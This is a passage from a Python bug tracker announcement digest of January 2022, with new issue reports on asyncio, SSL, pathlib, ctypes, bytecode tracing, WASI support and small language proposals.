enable use cases like more comprehensive error handling (e.g., finding all missing mapping keys at once) or interactive prompting. ---------- components: Library (Lib) messages: 410112 nosy: ben11kehoe priority: normal severity: normal status: open title: string.Template should allow inspection of identifiers type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 16:43:24 2022 From: report at bugs.python.org (Thomas Klausner) Date: Sat, 08 Jan 2022 21:43:24 +0000 Subject: [New-bugs-announce] [issue46308] Unportable test(1) operator in configure script Message-ID: <1641678204.62.0.509578549698.issue46308@roundup.psfhosted.org> New submission from Thomas Klausner : The configure script uses the test(1) '==' operator, which is only supported by bash. The standard comparison operator is '='. ---------- components: Installation messages: 410120 nosy: wiz priority: normal severity: normal status: open title: Unportable test(1) operator in configure script type: compile error versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 18:35:55 2022 From: report at bugs.python.org (Simon Wrede) Date: Sat, 08 Jan 2022 23:35:55 +0000 Subject: [New-bugs-announce] [issue46309] Task created by StreamReaderProtocol gets garbage collected. Message-ID: <1641684955.44.0.77228446083.issue46309@roundup.psfhosted.org> New submission from Simon Wrede : Documentation states that a reference must be kept when creating a task, https://docs.python.org/3/library/asyncio-task.html#asyncio.create_task. This is not done in StreamReaderProtocol, https://github.com/python/cpython/blob/main/Lib/asyncio/streams.py#L244. I've provided a simple example to force garbage collection of this task which results in `Task was destroyed but it is pending!`. Uncommenting the commented code of the example shows that the task is not destroyed when a reference is kept. Am I missing something or using the library incorrectly? I've followed the examples at https://docs.python.org/3/library/asyncio-stream.html#tcp-echo-server-using-streams. ---------- components: asyncio files: example.py messages: 410124 nosy: asvetlov, simwr872, yselivanov priority: normal severity: normal status: open title: Task created by StreamReaderProtocol gets garbage collected. versions: Python 3.10 Added file: https://bugs.python.org/file50552/example.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 04:11:22 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 09 Jan 2022 09:11:22 +0000 Subject: [New-bugs-announce] [issue46310] Simplify `for` loop in `.close()` method in `asyncio/windows_events` Message-ID: <1641719482.54.0.073879595451.issue46310@roundup.psfhosted.org> New submission from Nikita Sobolev : This line https://github.com/python/cpython/blob/3d11c1b8b49800c5c4c295953cc3abf577f6065a/Lib/asyncio/windows_events.py#L842 uses `.items()`, but the key seems unsused. It would be better to use `.values()` there. 1. It is slightly faster, very generic benchmark: ``` import timeit cache = {i: (i, i + 1, None, f'a{i}') for i in range(1000)} timeit.timeit('list(cache.items())', number=1000, globals=locals()) # 0.18165644304826856 timeit.timeit('list(cache.values())', number=1000, globals=locals()) # 0.04786261299159378 ``` 2. It is more readable, because unused variables are not created And since it does not break anything, I think it is safe to refactor. ---------- assignee: sobolevn components: Library (Lib) messages: 410136 nosy: asvetlov, eric.araujo, sobolevn priority: normal severity: normal status: open title: Simplify `for` loop in `.close()` method in `asyncio/windows_events` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 06:55:44 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 09 Jan 2022 11:55:44 +0000 Subject: [New-bugs-announce] [issue46311] Clean up PyLong_FromLong and PyLong_FromLongLong Message-ID: <1641729344.86.0.271892670725.issue46311@roundup.psfhosted.org> New submission from Mark Dickinson : PR GH-27832 inadvertently (I believe) introduced a couple of changes to PyLong_FromLong that didn't make a lot of sense: an (unsigned long) cast was replaced with (twodigits), and a digit count variable (counting number of PyLong digits in a C long) had its type needlessly changed from int to Py_ssize_t. The first change is a potential portability bug, but only on platforms where the width of C's `long` exceeds 64 bits. The (unsigned long) cast is obviously correct, while figuring out whether (twodigits) loses information takes some work. The second change is merely a potential pessimization: there's no need to use what's typically a 64-bit integer to count the number of PyLong digits in a long. While fixing these, I've also reworked the PyLong_FromLong code a bit to move the medium int check earlier, and I've applied analogous changes to PyLong_FromLongLong. ---------- messages: 410141 nosy: Mark.Shannon, mark.dickinson priority: normal severity: normal status: open title: Clean up PyLong_FromLong and PyLong_FromLongLong versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 07:36:50 2022 From: report at bugs.python.org (yota moteuchi) Date: Sun, 09 Jan 2022 12:36:50 +0000 Subject: [New-bugs-announce] [issue46312] range() function could accept slice() objects as parameters Message-ID: <1641731810.02.0.364133890346.issue46312@roundup.psfhosted.org> New submission from yota moteuchi : This improvement proposal is close to : https://bugs.python.org/issue42956 and also detailed in https://stackoverflow.com/questions/13855288/turn-slice-into-range to iterate over a slice, the recommended method seems to be : s = slice(5,100,3) for i in range(s.stop)[s] : # do something but if range() accepted directly a slice, it would dramatically improve the readability : s = slice(5,100,3) for i in range(s) : # do something and it could be convenient, especially inside the __getitem__ property. I'll try to make a quick patch to test... ---------- messages: 410143 nosy: yota moteuchi priority: normal severity: normal status: open title: range() function could accept slice() objects as parameters type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 08:40:17 2022 From: report at bugs.python.org (=?utf-8?q?Alex_Gr=C3=B6nholm?=) Date: Sun, 09 Jan 2022 13:40:17 +0000 Subject: [New-bugs-announce] [issue46313] SSLObject does not raise SSLEOFError on OpenSSL 3 Message-ID: <1641735617.1.0.262008079316.issue46313@roundup.psfhosted.org> New submission from Alex Gr?nholm : PR #25309 (https://github.com/python/cpython/pull/25309) changed OpenSSL behavior so that it ignores unexpected EOFs by default. This was detected by the test suites of both trio and AnyIO when running on OpenSSL 3. We worked around the problem by explicitly unsetting the SSL_OP_IGNORE_UNEXPECTED_EOF flag and then checking if the "strerror" attribute of SSLError contains the text "UNEXPECTED_EOF_WHILE_READING". The remedy in the standard library would be twofold: 1. Revert the change of enabling SSL_OP_IGNORE_UNEXPECTED_EOF by default 2. Handle the condition properly so that SSLEOFError is raised instead of the generic SSLError As SSLSockets ignore SSLEOFError by default, this fix should work fine for those too. ---------- assignee: christian.heimes components: SSL messages: 410146 nosy: alex.gronholm, christian.heimes, lukasz.langa priority: normal severity: normal status: open title: SSLObject does not raise SSLEOFError on OpenSSL 3 type: security versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 09:40:04 2022 From: report at bugs.python.org (Ned Batchelder) Date: Sun, 09 Jan 2022 14:40:04 +0000 Subject: [New-bugs-announce] [issue46314] Stray RESUME opcode for unused lambda Message-ID: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> New submission from Ned Batchelder : This code seems to get a RESUME opcode where no function call is happening: a = 1 fn = lambda 2 b = 3 Here is the disassembly. Offset 6 has a RESUME opcode for line 2: Python 3.11.0a3+ (heads/main:0fc58c1e05, Jan 8 2022, 19:45:58) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import dis >>> dis.dis("""\ ... a = 1 ... fn = lambda: 2 ... b = 3 ... """) 0 RESUME 0 1 2 LOAD_CONST 0 (1) 4 STORE_NAME 0 (a) 2 6 RESUME 0 8 LOAD_CONST 1 ( at 0x10772c2d0, file "", line 2>) 10 MAKE_FUNCTION 0 12 STORE_NAME 1 (fn) 3 14 LOAD_CONST 2 (3) 16 STORE_NAME 2 (b) 18 LOAD_CONST 3 (None) 20 RETURN_VALUE Disassembly of at 0x10772c2d0, file "", line 2>: 2 0 RESUME 0 2 LOAD_CONST 1 (2) 4 RETURN_VALUE This causes an extra "call" event when tracing: ---< bug233.py >-------------------------------------------------------- import linecache, os.path, sys def trace(frame, event, arg): if (event != "line") and ("bug233" in frame.f_code.co_filename): lineno = frame.f_lineno first = frame.f_code.co_firstlineno source = linecache.getline(frame.f_code.co_filename, lineno) if lineno else "******" file = os.path.basename(frame.f_code.co_filename) print("{} {}@{!s:4} (first={}): {}".format(event[:4], file, lineno, first, source.rstrip())) return trace print(sys.version) sys.settrace(trace) def f(): a = 1 fn = lambda: 2 b = 3 f() ------------------------------------------------------------------------ % python3.10 bug233.py 3.10.1 (main, Dec 14 2021, 08:30:13) [Clang 12.0.0 (clang-1200.0.32.29)] call bug233.py at 15 (first=15): def f(): retu bug233.py at 18 (first=15): b = 3 % python3.11 bug233.py 3.11.0a3+ (heads/main:0fc58c1e05, Jan 8 2022, 19:45:58) [Clang 12.0.0 (clang-1200.0.32.29)] call bug233.py at 15 (first=15): def f(): call bug233.py at 17 (first=15): fn = lambda: 2 retu bug233.py at 18 (first=15): b = 3 ---------- components: Interpreter Core keywords: 3.11regression messages: 410151 nosy: Mark.Shannon, nedbat priority: normal severity: normal status: open title: Stray RESUME opcode for unused lambda versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 09:47:43 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 09 Jan 2022 14:47:43 +0000 Subject: [New-bugs-announce] [issue46315] Add support for WebAssembly System Interface (wasm32-wasi) Message-ID: <1641739663.52.0.433507958543.issue46315@roundup.psfhosted.org> New submission from Christian Heimes : WASI is another WebAssembly platform similar to Emscripten (bpo-40280). Simply speaking Emscripten binaries (wasm32-emscripten) run inside a browser while WASI binaries target standalone runtimes like wasmtime [2][3] on the host. The lines are a bit blurry, as it is possible to run WASI binaries in the browser with help of JS-polyfills. WASI provides compile once, run anyway with JIT/AOT and sandboxing. WASI is still under development and is lacking several core features: - threading support and pthread API - sockets - signals are emulated (_WASI_EMULATED_SIGNAL and -lwasi-emulated-signal) - DAC APIs like chmod, umask - user-related APIs like pwd, grp - dup(), dup2(), F_DUPFD For 3.11 I plan to fix our use of #ifdef HAVE_FEATURE to make it easier to experiment with WASI. The pthread APIs need stubs, which I won't commit to 3.11 upstream yet. [1] https://wasi.dev/ [2] https://github.com/bytecodealliance/wasmtime [3] https://hacks.mozilla.org/2019/03/standardizing-wasi-a-webassembly-system-interface/ ---------- assignee: christian.heimes components: Build messages: 410153 nosy: christian.heimes priority: normal severity: normal status: open title: Add support for WebAssembly System Interface (wasm32-wasi) type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 09:52:52 2022 From: report at bugs.python.org (Barney Gale) Date: Sun, 09 Jan 2022 14:52:52 +0000 Subject: [New-bugs-announce] [issue46316] Optimize pathlib.Path.iterdir() Message-ID: <1641739972.06.0.905867397402.issue46316@roundup.psfhosted.org> New submission from Barney Gale : pathlib.Path.iterdir() contains the following code: if name in {'.', '..'}: # Yielding a path object for these makes little sense continue This check is unnecessary as os.listdir() does not return entries for '.' or '..': os.listdir(path='.') Return a list containing the names of the entries in the directory given by path. The list is in arbitrary order, and does not include the special entries '.' and '..' even if they are present in the directory See https://docs.python.org/3/library/os.html#os.listdir ---------- components: Library (Lib) messages: 410154 nosy: barneygale priority: normal severity: normal status: open title: Optimize pathlib.Path.iterdir() versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 09:52:56 2022 From: report at bugs.python.org (Oz Tiram) Date: Sun, 09 Jan 2022 14:52:56 +0000 Subject: [New-bugs-announce] [issue46317] Pathlib.rename isn't robust Message-ID: <1641739976.38.0.625892156687.issue46317@roundup.psfhosted.org> New submission from Oz Tiram : Pathlib.rename will fail across file system with: OSError: [Errno 18] Invalid cross-device link e.g: -> path_dict["current_path"].rename(path_dict["destination"]) (Pdb) n OSError: [Errno 18] Invalid cross-device link: '/tmp/pipenv-k1m0oynt-yaml/PyYAML-6.0/lib/yaml' -> '/home/oz123/Software/pipenv/pipenv/patched/yaml3' This is because it uses os.rename under the hood: https://github.com/python/cpython/blob/3.10/Lib/pathlib.py#L306 One can either replace it with `shutil.move` which works, or one could add another method to Pathlib.move(...) with similar signature and return value, which calls `shutil.move` under the hood. Before submitting a patch for that, I would like to get feedback for that. ---------- components: Library (Lib) messages: 410155 nosy: Oz.Tiram priority: normal severity: normal status: open title: Pathlib.rename isn't robust versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 10:04:53 2022 From: report at bugs.python.org (Julien Palard) Date: Sun, 09 Jan 2022 15:04:53 +0000 Subject: [New-bugs-announce] [issue46318] asyncio and ssl: ResourceWarning: unclosed transport Message-ID: <1641740693.62.0.185226666966.issue46318@roundup.psfhosted.org> New submission from Julien Palard : Originally opened at: https://github.com/aio-libs/aiohttp/issues/6071 Reproducer: import asyncio class DumbProtocol(asyncio.Protocol): def connection_made(self, transport): print("Connection made") self.transport = transport def data_received(self, data): print("Data received: {!r}".format(data)) async def main(): loop = asyncio.get_running_loop() for i in range(2): _, _ = await loop.create_connection(DumbProtocol, "python.org", 443, ssl=True) while True: print("Waiting for the server to close the connection...") await asyncio.sleep(10) asyncio.run(main()) Using this reproducer I get a ResourceWarning: Data received: b"HTTP/1.0 408 Request Time-out\r\nCache-Control: no-cache\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n

408 Request Time-out

\nYour browser didn't send a complete request in time.\n\n\n" /usr/lib/python3.9/asyncio/sslproto.py:320: ResourceWarning: unclosed transport _warn(f"unclosed transport {self!r}", ResourceWarning, source=self) Object allocated at (most recent call last): File "/usr/lib/python3.9/asyncio/sslproto.py", lineno 445 self._app_transport = _SSLProtocolTransport(self._loop, self) I can also reproduce it on current master. ---------- components: asyncio messages: 410156 nosy: asvetlov, mdk, yselivanov priority: normal severity: normal status: open title: asyncio and ssl: ResourceWarning: unclosed transport versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 13:37:40 2022 From: report at bugs.python.org (Tony Rice) Date: Sun, 09 Jan 2022 18:37:40 +0000 Subject: [New-bugs-announce] [issue46319] datetime.utcnow() should return a timezone aware datetime Message-ID: <1641753460.47.0.959606038192.issue46319@roundup.psfhosted.org> New submission from Tony Rice : datetime.datetime.utcnow() returns a timezone naive datetime, this is counter-intuitive since you are logically dealing with a known timezone. I suspect this was implemented this way for fidelity with the rest of datetime.datetime (which returns timezone naive datetime objects). The workaround (see below) is to replace the missing tzinfo. Recommendation: By default datetime.datetime.utcnow() should return a timezone aware datetime (with tzinfo of UTC of course) or at least offer this behavoir as an option, e.g.: datetime.datetime.utcnow(timezone-aware=True) Workaround: dt = datetime.utcnow().replace(tzinfo=timezone.utc) ---------- components: Library (Lib) messages: 410160 nosy: rtphokie priority: normal severity: normal status: open title: datetime.utcnow() should return a timezone aware datetime type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 15:48:32 2022 From: report at bugs.python.org (Quentin Pradet) Date: Sun, 09 Jan 2022 20:48:32 +0000 Subject: [New-bugs-announce] [issue46320] runtime/interp/thread state refactoring leads to segmentation fault Message-ID: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org> New submission from Quentin Pradet : Since https://github.com/python/cpython/commit/32a67246b0d1e08cd50fc3bfa58052cfeb515b2e which was introduced through https://bugs.python.org/issue46008 and shipped as part of alpha 3, the urllib3 test suite reliably crashes on Fedora 35 (ie. gives a segfault). I've narrowed the reproducer code down to https://github.com/pquentin/urllib3/blob/segfault/test/test_reproduce.py, but that still requires cffi, pyOpenSSL and Tornado. The segfault either happens in the `ssl` module or the `selectors` module: ``` ================================================= test session starts ================================================= platform linux -- Python 3.11.0a2+, pytest-6.2.5, py-1.11.0, pluggy-1.0.0 rootdir: /home/q/pub/urllib3, configfile: setup.cfg collected 1 item test/test_reproduce.py Fatal Python error: Segmentation fault Thread 0x00007fee9a250640 (most recent call first): File "/home/q/pub/install/lib/python3.11/ssl.py", line 1346 in do_handshake File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/iostream.py", line 1391 in _do_ssl_handshake File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/iostream.py", line 1478 in _handle_read File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/iostream.py", line 696 in _handle_events File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/platform/asyncio.py", line 189 in _handle_events File "/home/q/pub/install/lib/python3.11/asyncio/events.py", line 80 in _run File "/home/q/pub/install/lib/python3.11/asyncio/base_events.py", line 1858 in _run_once File "/home/q/pub/install/lib/python3.11/asyncio/base_events.py", line 591 in run_forever File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/platform/asyncio.py", line 199 in start File "/home/q/pub/install/lib/python3.11/threading.py", line 968 in run File "/home/q/pub/install/lib/python3.11/threading.py", line 1031 in _bootstrap_inner File "/home/q/pub/install/lib/python3.11/threading.py", line 988 in _bootstrap Extension modules: tornado.speedups, _brotli, _cffi_backend (total: 3) zsh: segmentation fault (core dumped) pytest ``` ``` ================================================= test session starts ================================================= platform linux -- Python 3.11.0a2+, pytest-6.2.5, py-1.11.0, pluggy-1.0.0 rootdir: /home/q/pub/urllib3, configfile: setup.cfg collected 1 item test/test_reproduce.py Fatal Python error: Segmentation fault Thread 0x00007fee9a250640 (most recent call first): File "/home/q/pub/install/lib/python3.11/ssl.py", line 1346 in do_handshake File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/iostream.py", line 1391 in _do_ssl_handshake File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/iostream.py", line 1478 in _handle_read File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/iostream.py", line 696 in _handle_events File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/platform/asyncio.py", line 189 in _handle_events File "/home/q/pub/install/lib/python3.11/asyncio/events.py", line 80 in _run File "/home/q/pub/install/lib/python3.11/asyncio/base_events.py", line 1858 in _run_once File "/home/q/pub/install/lib/python3.11/asyncio/base_events.py", line 591 in run_forever File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/platform/asyncio.py", line 199 in start File "/home/q/pub/install/lib/python3.11/threading.py", line 968 in run File "/home/q/pub/install/lib/python3.11/threading.py", line 1031 in _bootstrap_inner File "/home/q/pub/install/lib/python3.11/threading.py", line 988 in _bootstrap Extension modules: tornado.speedups, _brotli, _cffi_backend (total: 3) zsh: segmentation fault (core dumped) pytest ``` I can work on a better reproducer, but thought this was already interesting as https://github.com/python/cpython/pull/29977 states there should have been zero change in behavior. ---------- components: Interpreter Core messages: 410166 nosy: Quentin.Pradet, SethMichaelLarson, eric.snow priority: normal severity: normal status: open title: runtime/interp/thread state refactoring leads to segmentation fault type: crash versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 16:05:30 2022 From: report at bugs.python.org (Devin Harper) Date: Sun, 09 Jan 2022 21:05:30 +0000 Subject: [New-bugs-announce] [issue46321] Don't need delineators on lists Message-ID: <1641762330.23.0.642168893921.issue46321@roundup.psfhosted.org> New submission from Devin Harper <345trig at gmail.com>: a=1 b=2 c=3 list=a, b, c #Remove spaces at the end of lists. Because sometimes spaces are errors or not depending on the number of items in your list. Remove list delineators to save a little memory and time not typing those delineator symbols on list definitions. for items in list: print(items) ---------- assignee: docs at python components: Documentation messages: 410169 nosy: 345trig, docs at python priority: normal severity: normal status: open title: Don't need delineators on lists type: resource usage _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 18:53:22 2022 From: report at bugs.python.org (SinaGhaaf) Date: Sun, 09 Jan 2022 23:53:22 +0000 Subject: [New-bugs-announce] [issue46322] Invalid file path of SSLKEYLOGFILE throw FileNotFoundError Message-ID: <1641772402.91.0.366626116181.issue46322@roundup.psfhosted.org> New submission from SinaGhaaf : An existence check of 'keylogfile' is missed at https://github.com/python/cpython/blob/main/Lib/ssl.py#L779, if the file path does not exist, it tries to set 'context.keylog_filename' to an invalid file, and the result would be 'FileNotFoundError'. The following check fixed the issue: if keylogfile and not sys.flags.ignore_environment and os.path.isfile(keylogfile): ``` Traceback (most recent call last): File "test_https.py", line 19, in from test.conftest import ServerConfig File "C:\Check\urllib3-patch-1\src\test\conftest.py", line 12, in from tornado import ioloop, web File "C:\Python38\lib\site-packages\tornado\web.py", line 87, in from tornado.httpserver import HTTPServer File "C:\Python38\lib\site-packages\tornado\httpserver.py", line 32, in from tornado.http1connection import HTTP1ServerConnection, HTTP1ConnectionParameters File "C:\Python38\lib\site-packages\tornado\http1connection.py", line 34, in from tornado import iostream File "C:\Python38\lib\site-packages\tornado\iostream.py", line 40, in from tornado.netutil import ssl_wrap_socket, _client_ssl_defaults, _server_ssl_defaults File "C:\Python38\lib\site-packages\tornado\netutil.py", line 34, in _client_ssl_defaults = ssl.create_default_context(ssl.Purpose.SERVER_AUTH) File "C:\Python38\lib\ssl.py", line 755, in create_default_context context.keylog_filename = keylogfile FileNotFoundError: [Errno 2] No such file or directory: 'D:\\invalid_path\\invalid_file.txt' ``` ---------- assignee: christian.heimes components: SSL messages: 410177 nosy: christian.heimes, ghaaf priority: normal severity: normal status: open title: Invalid file path of SSLKEYLOGFILE throw FileNotFoundError type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 23:01:21 2022 From: report at bugs.python.org (hydroflask) Date: Mon, 10 Jan 2022 04:01:21 +0000 Subject: [New-bugs-announce] [issue46323] Use _PyObject_Vectorcall in Modules/_ctypes/callbacks.c Message-ID: <1641787281.46.0.018565492634.issue46323@roundup.psfhosted.org> New submission from hydroflask : _CallPythonObject() in Modules/_ctypes/callbacks.c still uses the old API (PyObject_CallObject()) to invoke methods. It should use _PyObject_Vectorcall(). Creating an issue for this since this method is a little more performance sensitive than normal Python library code. ---------- components: ctypes messages: 410185 nosy: hydroflask priority: normal severity: normal status: open title: Use _PyObject_Vectorcall in Modules/_ctypes/callbacks.c type: performance versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 00:35:37 2022 From: report at bugs.python.org (bichanna) Date: Mon, 10 Jan 2022 05:35:37 +0000 Subject: [New-bugs-announce] [issue46324] 'import traceback' Causes a Crash Message-ID: <1641792937.05.0.517965113844.issue46324@roundup.psfhosted.org> New submission from bichanna : I was developing a programming language using Python, and I had a 'token.py' file. After changing the name of the file, the issue was solved. I am sure that my 'token.py' caused the error. Here's the traceback I got: Traceback (most recent call last): File "/some/path/main.py", line 2, in from parser import Parser File "/some/path/parser.py", line 3, in import traceback File "/usr/local/Cellar/python at 3.9/3.9.7/Frameworks/Python.framework/Versions/3.9/lib/python3.9/traceback.py", line 5, in import linecache File "/usr/local/Cellar/python at 3.9/3.9.7/Frameworks/Python.framework/Versions/3.9/lib/python3.9/linecache.py", line 11, in import tokenize File "/usr/local/Cellar/python at 3.9/3.9.7/Frameworks/Python.framework/Versions/3.9/lib/python3.9/tokenize.py", line 35, in from token import EXACT_TOKEN_TYPES ImportError: cannot import name 'EXACT_TOKEN_TYPES' from 'token' (/some/path/token.py) ---------- components: macOS messages: 410187 nosy: bichanna, ned.deily, ronaldoussoren priority: normal severity: normal status: open title: 'import traceback' Causes a Crash type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 00:59:48 2022 From: report at bugs.python.org (xx11mz) Date: Mon, 10 Jan 2022 05:59:48 +0000 Subject: [New-bugs-announce] [issue46325] Documentation for SubprocessTransport.get_pipe_transport return values readable/writable Message-ID: <1641794388.21.0.0521440708614.issue46325@roundup.psfhosted.org> New submission from xx11mz : SubprocessTransport.get_pipe_transport returns a "transport for the communication pipe corresponding to the integer file descriptor fd". Below that, it currently says fd 0 is readable and fd 1 and 2 are writable. But since it is referring to the subprocess' file descriptors from the perspective of the parent process, I believe fd 0 should be writable while fd 1 and 2 are readable. In other words, the parent process can write to the subprocess' stdin and read from its stdout and stderr. Maybe I have completely misunderstood this method, but I have confirmed that get_pipe_transport(0) indeed returns a writable transport. So unless I'm mistaken, I think the word "readable" should be changed to "writable" and vice-versa in the SubprocessTransport.get_pipe_transport documentation. ---------- assignee: docs at python components: Documentation messages: 410188 nosy: docs at python, xx11mz priority: normal severity: normal status: open title: Documentation for SubprocessTransport.get_pipe_transport return values readable/writable versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 04:01:46 2022 From: report at bugs.python.org (Ali Mohammad Pur) Date: Mon, 10 Jan 2022 09:01:46 +0000 Subject: [New-bugs-announce] [issue46326] 'virtualenv --clear' should prompt user before nuking entire directory Message-ID: <1641805306.76.0.639944392664.issue46326@roundup.psfhosted.org> New submission from Ali Mohammad Pur : `virtualenv --clear` is extremely eager to delete the passed directory without any sort of confirmation, leading to possible data-loss (e.g. with a mistyped command, or a misunderstanding of what it actually does). Simply deleting an entire directory tree with a command that's extremely prone to misunderstanding should not be virtualenv's job, but as it has decided to make this its job, then it should take proper precautions to avoid unintentional `rm -fr some-directory` by *at least* asking for confirmation. The previous behaviour can of course, stay behind a `--force` flag for uses in CI or similar, but this should *not* be the default behaviour. related: https://github.com/pypa/virtualenv/issues/1890 mentions that "[it is not] good practice to put non-virtual environment-related files into a virtual environment", which is sensible, and so virtualenv should then simply refuse to be instantiated in a non-empty directory. On a more subjetive note, `virtualenv --clear ` sounds like a way to purge the virtual environment files from a directory (yes, I understand what the help says, but that hardly changes anything), so perhaps a more verbose flag like "--clear-contents" would be more appropriate, but I digress. ---------- messages: 410192 nosy: alimpfard priority: normal severity: normal status: open title: 'virtualenv --clear' should prompt user before nuking entire directory type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 05:03:42 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 10 Jan 2022 10:03:42 +0000 Subject: [New-bugs-announce] [issue46327] `test_enum` contains tests for older versions of python Message-ID: <1641809022.94.0.176766366407.issue46327@roundup.psfhosted.org> New submission from Nikita Sobolev : Here's the problem: https://github.com/python/cpython/blob/main/Lib/test/test_enum.py#L4515-L4531 Why it is a problem? 1. First test is marked as `@unittest.skipUnless(python_version == (3, 8)`. Which means it is only executed on `3.8`. I think it should be removed from more recent branches 2. Second test is marked as `@unittest.skipUnless(python_version >= (3, 9)`. Which means that it will be executed on three currently supported branches. I think we can remove this decorator I will send a PR today. ---------- components: Tests messages: 410194 nosy: ethan.furman, sobolevn priority: normal severity: normal status: open title: `test_enum` contains tests for older versions of python type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:50:17 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 11:50:17 +0000 Subject: [New-bugs-announce] [issue46328] add sys.exception() Message-ID: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> New submission from Irit Katriel : Following to changes in issue45711, the interpreter's internal representation of the active exception is just the exception instance (the exc_type and exc_traceback fields were removed). For backwards compatibility, sys.exc_info() constructs the (typ, val, tb) tuple from the instance and this will continue to be the case for some time because this tuple has leaked into quite a few APIs. However, now that the redundancy in the exc_info tuple is guaranteed by the way it's constructed, we can confidently add a sys.exception() method that returns just the exception instance (as suggested in PEP3134's section on future improvements). This small change will make a difference to learners because the (typ, val, tb) tuple looks quite cryptic to those who don't know about tracebacks, and the redundancy in it is confusing for those who do. ---------- assignee: iritkatriel messages: 410204 nosy: iritkatriel priority: normal severity: normal status: open title: add sys.exception() type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 07:54:45 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 Jan 2022 12:54:45 +0000 Subject: [New-bugs-announce] [issue46329] Split up the CALL_NO_KW and CALL_KW instructions. Message-ID: <1641819285.76.0.605357810946.issue46329@roundup.psfhosted.org> New submission from Mark Shannon : Most calls (not those with *args and/or **kwargs) are compiled to the `CALL_NO_KW` and `CALL_KW` instructions, possibly with a `PRECALL_METHOD` prefix. We want to unify the `CALL_NO_KW` and `CALL_KW` instructions into a single `CALL` instruction and add two new instructions: `PRECALL_FUNCTION` and `KW_NAMES`. All call sequences would start with `PRECALL_FUNCTION` or `PRECALL_METHOD`. `PRECALL_METHOD` would continue to pair with `LOAD_METHOD` as it does now. `PRECALL_FUNCTION` would effectively be a no-op, but would be needed to set up internal interpreter variables. `CALL_NO_KW` would become `CALL` and `CALL_KW` would become `KW_NAMES; CALL`. Why? Specializing calls is an important optimization, but calls are complicated and we want to specialized for both the type of the callable and the shape of the call. By breaking up calls in this way, we can specialize for the type and for the shape mostly independently. We can specialize for classes, bound-methods and other objects that ultimately call a Python function in the `PRECALL` instruction and specialize for the shape of the arguments in the `CALL` instruction. See https://github.com/faster-cpython/ideas/discussions/210 for more rationale. ---------- assignee: Mark.Shannon messages: 410209 nosy: Mark.Shannon, kj priority: normal severity: normal status: open title: Split up the CALL_NO_KW and CALL_KW instructions. type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 08:08:08 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 10 Jan 2022 13:08:08 +0000 Subject: [New-bugs-announce] [issue46330] Simplify the signature of __exit__ Message-ID: <1641820088.08.0.801223860673.issue46330@roundup.psfhosted.org> New submission from Jelle Zijlstra : With Irit's recent changes (bpo-45711), the (typ, exc, tb) tuple is now always redundant with just exc. As a result, `__exit__` methods now should only need to accept a single argument. If we were designing the context manager protocol from scratch, we could do: class CM: def __enter__(self): return self def __exit__(self, exc: BaseException | None, /): if exc is not None: print("an exception occurred") Instead of the current cumbersome three-parameter `__exit__`. But we're not designing it from scratch, and we need to deal with lots of existing code with three-parameter `__exit__` methods. One possible decision is that 